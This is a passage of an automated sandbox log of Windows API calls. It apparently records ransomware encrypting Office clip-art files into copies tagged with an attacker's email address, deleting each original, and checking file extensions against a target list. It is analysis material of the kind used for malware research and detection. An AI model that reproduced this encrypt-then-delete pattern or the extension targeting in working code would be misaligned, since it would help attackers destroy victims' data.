lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xe3a0, lpOverlapped=0x0) returned 1 [0225.085] ReadFile (in: hFile=0x16c, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0225.085] WriteFile (in: hFile=0x184, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0225.085] SetEndOfFile (hFile=0x184) returned 1 [0225.086] CloseHandle (hObject=0x184) returned 1 [0225.086] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.086] SetEndOfFile (hFile=0x16c) returned 1 [0225.086] CloseHandle (hObject=0x16c) returned 1 [0225.087] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0225.087] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099172.wmf")) returned 1 [0225.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF") returned 63 [0225.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF") returned 63 [0225.087] lstrlenW (lpString=".doc") returned 4 [0225.087] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0225.087] lstrlenW (lpString=".docx") returned 5 [0225.087] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0225.087] lstrlenW (lpString=".pdf") returned 4 [0225.087] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0225.087] lstrlenW (lpString=".xls") returned 4 [0225.087] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0225.087] lstrlenW (lpString=".xlsx") returned 5 [0225.087] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0225.087] lstrlenW (lpString=".ppt") returned 4 [0225.087] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0225.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF") returned 63 [0225.087] lstrlenW (lpString=".zip") returned 4 [0225.087] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0225.087] lstrlenW (lpString=".rar") returned 4 [0225.087] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0225.087] lstrlenW (lpString=".bz2") returned 4 [0225.087] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0225.087] lstrlenW (lpString=".7z") returned 3 [0225.087] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0225.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF") returned 63 [0225.087] lstrlenW (lpString=".dbf") returned 4 [0225.087] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0225.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF") returned 63 [0225.087] lstrlenW (lpString=".1cd") returned 4 [0225.087] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0225.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF") returned 63 [0225.087] lstrlenW (lpString=".jpg") returned 4 [0225.087] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0225.088] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=2488) returned 1 [0225.088] CloseHandle (hObject=0x16c) returned 1 [0225.088] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099176.wmf")) returned 0x20 [0225.088] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099176.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0225.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099176.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0225.088] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.088] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099176.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0225.088] GetLastError () returned 0x0 [0225.088] ReadFile (in: hFile=0x16c, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x9b8, lpOverlapped=0x0) returned 1 [0225.097] WriteFile (in: hFile=0x184, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x9c0, lpOverlapped=0x0) returned 1 [0225.101] ReadFile (in: hFile=0x16c, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0225.101] WriteFile (in: hFile=0x184, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0225.101] SetEndOfFile (hFile=0x184) returned 1 [0225.103] CloseHandle (hObject=0x184) returned 1 [0225.103] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.103] SetEndOfFile (hFile=0x16c) returned 1 [0225.103] CloseHandle (hObject=0x16c) returned 1 [0225.103] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0225.103] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099176.wmf")) returned 1 [0225.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF") returned 63 [0225.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF") returned 63 [0225.104] lstrlenW (lpString=".doc") returned 4 [0225.104] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0225.104] lstrlenW (lpString=".docx") returned 5 [0225.104] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0225.104] lstrlenW (lpString=".pdf") returned 4 [0225.104] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0225.104] lstrlenW (lpString=".xls") returned 4 [0225.104] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0225.104] lstrlenW (lpString=".xlsx") returned 5 [0225.104] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0225.104] lstrlenW (lpString=".ppt") returned 4 [0225.104] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0225.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF") returned 63 [0225.104] lstrlenW (lpString=".zip") returned 4 [0225.104] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0225.104] lstrlenW (lpString=".rar") returned 4 [0225.104] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0225.104] lstrlenW (lpString=".bz2") returned 4 [0225.104] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0225.104] lstrlenW (lpString=".7z") returned 3 [0225.104] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0225.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF") returned 63 [0225.104] lstrlenW (lpString=".dbf") returned 4 [0225.104] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0225.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF") returned 63 [0225.104] lstrlenW (lpString=".1cd") returned 4 [0225.104] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0225.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF") returned 63 [0225.104] lstrlenW (lpString=".jpg") returned 4 [0225.104] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0225.104] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=9154) returned 1 [0225.104] CloseHandle (hObject=0x16c) returned 1 [0225.104] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099179.wmf")) returned 0x20 [0225.104] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099179.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0225.105] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099179.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0225.105] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.105] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.105] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099179.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0225.105] GetLastError () returned 0x0 [0225.105] ReadFile (in: hFile=0x16c, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x23c2, lpOverlapped=0x0) returned 1 [0225.117] WriteFile (in: hFile=0x184, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x23d0, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x23d0, lpOverlapped=0x0) returned 1 [0225.118] ReadFile (in: hFile=0x16c, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0225.118] WriteFile (in: hFile=0x184, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0225.118] SetEndOfFile (hFile=0x184) returned 1 [0225.118] CloseHandle (hObject=0x184) returned 1 [0225.118] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.118] SetEndOfFile (hFile=0x16c) returned 1 [0225.119] CloseHandle (hObject=0x16c) returned 1 [0225.119] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0225.119] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099179.wmf")) returned 1 [0225.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF") returned 63 [0225.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF") returned 63 [0225.120] lstrlenW (lpString=".doc") returned 4 [0225.120] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0225.120] lstrlenW (lpString=".docx") returned 5 [0225.120] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0225.120] lstrlenW (lpString=".pdf") returned 4 [0225.120] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0225.120] lstrlenW (lpString=".xls") returned 4 [0225.120] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0225.120] lstrlenW (lpString=".xlsx") returned 5 [0225.120] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0225.120] lstrlenW (lpString=".ppt") returned 4 [0225.120] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0225.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF") returned 63 [0225.120] lstrlenW (lpString=".zip") returned 4 [0225.120] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0225.120] lstrlenW (lpString=".rar") returned 4 [0225.120] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0225.120] lstrlenW (lpString=".bz2") returned 4 [0225.120] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0225.121] lstrlenW (lpString=".7z") returned 3 [0225.121] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0225.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF") returned 63 [0225.121] lstrlenW (lpString=".dbf") returned 4 [0225.121] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0225.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF") returned 63 [0225.121] lstrlenW (lpString=".1cd") returned 4 [0225.121] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0225.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF") returned 63 [0225.121] lstrlenW (lpString=".jpg") returned 4 [0225.121] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0225.121] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=3840) returned 1 [0225.121] CloseHandle (hObject=0x16c) returned 1 [0225.121] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099182.wmf")) returned 0x20 [0225.121] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099182.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0225.121] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099182.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0225.121] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.121] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.121] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099182.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0225.122] GetLastError () returned 0x0 [0225.122] ReadFile (in: hFile=0x16c, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0xf00, lpOverlapped=0x0) returned 1 [0225.149] WriteFile (in: hFile=0x184, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xf10, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xf10, lpOverlapped=0x0) returned 1 [0225.150] ReadFile (in: hFile=0x16c, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0225.150] WriteFile (in: hFile=0x184, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0225.150] SetEndOfFile (hFile=0x184) returned 1 [0225.150] CloseHandle (hObject=0x184) returned 1 [0225.150] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.150] SetEndOfFile (hFile=0x16c) returned 1 [0225.150] CloseHandle (hObject=0x16c) returned 1 [0225.151] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0225.151] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099182.wmf")) returned 1 [0225.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF") returned 63 [0225.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF") returned 63 [0225.151] lstrlenW (lpString=".doc") returned 4 [0225.151] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0225.151] lstrlenW (lpString=".docx") returned 5 [0225.151] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0225.151] lstrlenW (lpString=".pdf") returned 4 [0225.151] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0225.151] lstrlenW (lpString=".xls") returned 4 [0225.151] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0225.151] lstrlenW (lpString=".xlsx") returned 5 [0225.151] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0225.151] lstrlenW (lpString=".ppt") returned 4 [0225.151] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0225.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF") returned 63 [0225.151] lstrlenW (lpString=".zip") returned 4 [0225.151] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0225.151] lstrlenW (lpString=".rar") returned 4 [0225.151] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0225.151] lstrlenW (lpString=".bz2") returned 4 [0225.151] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0225.151] lstrlenW (lpString=".7z") returned 3 [0225.151] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0225.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF") returned 63 [0225.151] lstrlenW (lpString=".dbf") returned 4 [0225.151] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0225.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF") returned 63 [0225.151] lstrlenW (lpString=".1cd") returned 4 [0225.151] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0225.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF") returned 63 [0225.151] lstrlenW (lpString=".jpg") returned 4 [0225.151] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0225.156] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=24528) returned 1 [0225.156] CloseHandle (hObject=0x16c) returned 1 [0225.156] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099187.jpg")) returned 0x20 [0225.157] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099187.jpg.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0225.157] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099187.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0225.157] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.157] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.157] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099187.jpg.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0225.157] GetLastError () returned 0x0 [0225.157] ReadFile (in: hFile=0x16c, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x5fd0, lpOverlapped=0x0) returned 1 [0225.174] WriteFile (in: hFile=0x184, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x5fe0, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x5fe0, lpOverlapped=0x0) returned 1 [0225.174] ReadFile (in: hFile=0x16c, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0225.174] WriteFile (in: hFile=0x184, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0225.175] SetEndOfFile (hFile=0x184) returned 1 [0225.175] CloseHandle (hObject=0x184) returned 1 [0225.175] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.175] SetEndOfFile (hFile=0x16c) returned 1 [0225.175] CloseHandle (hObject=0x16c) returned 1 [0225.175] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0225.176] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099187.jpg")) returned 1 [0225.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG") returned 63 [0225.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG") returned 63 [0225.398] lstrlenW (lpString=".doc") returned 4 [0225.398] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0225.398] lstrlenW (lpString=".docx") returned 5 [0225.398] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0225.398] lstrlenW (lpString=".pdf") returned 4 [0225.398] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0225.399] lstrlenW (lpString=".xls") returned 4 [0225.399] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0225.399] lstrlenW (lpString=".xlsx") returned 5 [0225.399] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0225.399] lstrlenW (lpString=".ppt") returned 4 [0225.399] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0225.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG") returned 63 [0225.399] lstrlenW (lpString=".zip") returned 4 [0225.399] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0225.399] lstrlenW (lpString=".rar") returned 4 [0225.399] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0225.399] lstrlenW (lpString=".bz2") returned 4 [0225.399] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0225.399] lstrlenW (lpString=".7z") returned 3 [0225.399] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0225.399] lstrlenW (lpString="C:\\Program Files\\Microsoft 